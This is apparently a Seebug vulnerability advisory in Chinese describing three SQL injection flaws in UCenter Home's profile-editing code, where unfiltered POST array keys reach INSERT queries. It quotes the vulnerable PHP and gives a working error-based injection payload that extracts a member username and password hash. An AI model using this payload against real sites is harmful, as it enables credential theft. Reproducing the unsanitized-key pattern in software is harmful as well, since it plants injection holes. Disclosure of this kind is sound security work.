Ucenter Home最新版SQL注入三处

2014-07-25T00:00:00
ID SSV:93583
Type seebug
Reporter Root
Modified 2014-07-25T00:00:00

Description

简要描述:

Ucenter Home最新版SQL注入三处

详细说明:

从官方下载最新版Ucenter Home 第一处SQL注入: 个人设置——个人资料——基本资料 文件/source/cp_profile.php:

``` if($_GET['op'] == 'base') {

if(submitcheck('profilesubmit') || submitcheck('nextsubmit')) {

    if(!@include_once(S_ROOT.'./data/data_profilefield.php')) {
        include_once(S_ROOT.'./source/function_cache.php');
        profilefield_cache();
    }
    $profilefields = empty($_SGLOBAL['profilefield'])?array():$_SGLOBAL['profilefield'];

...... //隐私 $inserts = array(); foreach ($_POST['friend'] as $key => $value) { $value = intval($value); $inserts[] = "('base','$key','$space[uid]','$value')"; } if($inserts) { $_SGLOBAL['db']->query("DELETE FROM ".tname('spaceinfo')." WHERE uid='$space[uid]' AND type='base'"); $_SGLOBAL['db']->query("INSERT INTO ".tname('spaceinfo')." (type,subtype,uid,friend) VALUES ".implode(',', $inserts)); } ```

从上述代码中可以看到:

$inserts = array(); foreach ($_POST['friend'] as $key => $value) { $value = intval($value); $inserts[] = "('base','$key','$space[uid]','$value')"; }

$_POST['friend']的key和value进入了inserts中 这里的value被处理了 但是key没有处理。 再来看:

$_SGLOBAL['db']->query("INSERT INTO ".tname('spaceinfo')." (type,subtype,uid,friend) VALUES ".implode(',', $inserts));

然后inserts直接进入了sql语句 总结: key没有过滤进入了inserts中,然后inserts进入了SQL语句,导致sql注入。 第二处SQL注入: 个人设置——个人资料——个人信息 文件/source/cp_profile.php:

``` elseif ($_GET['op'] == 'info') {

if(submitcheck('profilesubmit')) {

    $inserts = array();
    foreach ($_POST['info'] as $key => $value) {
        $value = getstr($value, 500, 1, 1);
        $friend = intval($_POST['info_friend'][$key]);
        $inserts[] = "('$space[uid]','info','$key','$value','$friend')";
    }

    if($inserts) {
        $_SGLOBAL['db']->query("DELETE FROM ".tname('spaceinfo')." WHERE uid='$space[uid]' AND type='info'");
        $_SGLOBAL['db']->query("INSERT INTO ".tname('spaceinfo')."
            (uid,type,subtype,title,friend)
            VALUES ".implode(',', $inserts));
    }

```

同样,key没有过滤进入了inserts中,然后inserts进入了SQL语句,导致sql注入。 第三处SQL注入: 个人设置——个人资料——联系方式 文件/source/cp_profile.php:

``` elseif ($_GET['op'] == 'contact') {

if($_GET['resend']) {
    //重新发送邮箱验证
    $toemail = $space['newemail']?$space['newemail']:$space['email'];
    emailcheck_send($space['uid'], $toemail);
    showmessage('do_success', "cp.php?ac=profile&op=contact");
}

...... //隐私 $inserts = array(); foreach ($_POST['friend'] as $key => $value) { $value = intval($value); $inserts[] = "('contact','$key','$space[uid]','$value')"; } if($inserts) { $_SGLOBAL['db']->query("DELETE FROM ".tname('spaceinfo')." WHERE uid='$space[uid]' AND type='contact'"); $_SGLOBAL['db']->query("INSERT INTO ".tname('spaceinfo')." (type,subtype,uid,friend) VALUES ".implode(',', $inserts)); } ```

同样,key没有过滤进入了inserts中,然后inserts进入了SQL语句,导致sql注入。

漏洞证明:

第一处SQL证明: 登陆,修改个人资料,修改基本资料

<img src="https://images.seebug.org/upload/201407/25115731c9563e784d4762bc0abe76b301d0764f.png" alt="111.png" width="600" onerror="javascript:errimg(this);">

填写信息,点击保存,抓包,修改POST信息:

name=111111&sex=1&marry=1&friend%5Bmarry%5D=0&birthyear=2014&birthmonth=7&birthday=25&friend%5Bbirth%5D=0&blood=AB&friend%5Bblood%5D=0&birthprovince=%E5%8C%97%E4%BA%AC&birthcity=%E4%B8%9C%E5%9F%8E&friend%5Bbirthcity%5D=0&resideprovince=%E5%8C%97%E4%BA%AC&residecity=%E4%B8%9C%E5%9F%8E&friend%5Bresidecity%5D=0&profilesubmit=%E4%BF%9D%E5%AD%98&formhash=6acac340&friend[key',(select 1 from (select count(*),concat(floor(rand(0)*2),(select concat(username, 0x23, password) from uchome_member limit 0,1))a from information_schema.tables group by a)b),'value')#]=sqli

然后看结果:

<img src="https://images.seebug.org/upload/201407/251157498b8f422d254419baf7fb1f4b99e328dc.png" alt="222.png" width="600" onerror="javascript:errimg(this);">

成功注入。 第二处注入和第三处注入的方法一致 在修改对应信息时,抓包,修改POST信息即可。